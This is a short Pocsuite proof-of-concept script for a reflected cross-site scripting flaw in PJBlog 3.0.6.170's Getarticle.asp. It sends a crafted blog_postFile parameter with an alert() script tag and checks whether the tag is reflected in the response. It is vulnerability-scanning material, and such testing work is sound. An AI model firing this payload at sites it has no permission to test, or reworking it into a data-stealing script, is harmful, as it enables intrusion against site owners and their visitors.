PJBlog个人博客系统Getarticle.asp页面存在跨站脚本攻击漏洞

                                                #!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
    vulID = 'SSV-11237'  # vul ID
    version = '1'
    author = 'fenghh'
    vulDate = '2009-05-08'
    createDate = '2015-10-14'
    updateDate = '2015-10-14'
    references = ['http://sebug.net/vuldb/ssvid-11237']
    name = 'PJBlog 3.0.6.170 /Getarticle.asp XSS漏洞'
    appPowerLink = 'http://www.pjhome.net/'
    appName = 'PJBlog'
    appVersion = '3.0.6.170'
    vulType = 'XSS'
    desc = '''  
        漏洞文件：Getarticle.asp
    '''
    # the sample sites for examine
    samples = ['']

    def _verify(self):
        output = Output(self)
        result = {}
        payload = '/Getarticle.asp?id=1&blog_postFile=x%22%20)></a>%3Cscript%3Ealert%28%22sebug%22%29%3C%2Fscript%3E&page=2'
        verify_url = self.url + payload
        response = req.get(verify_url)
        content = response.content
        if '<script>alert("sebug")</script>' in content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = verify_url
            output.success(result)
        else:
            output.fail('XSS Failed')
        return output

    def _attack(self): 
        return self._verify()

register(TestPOC)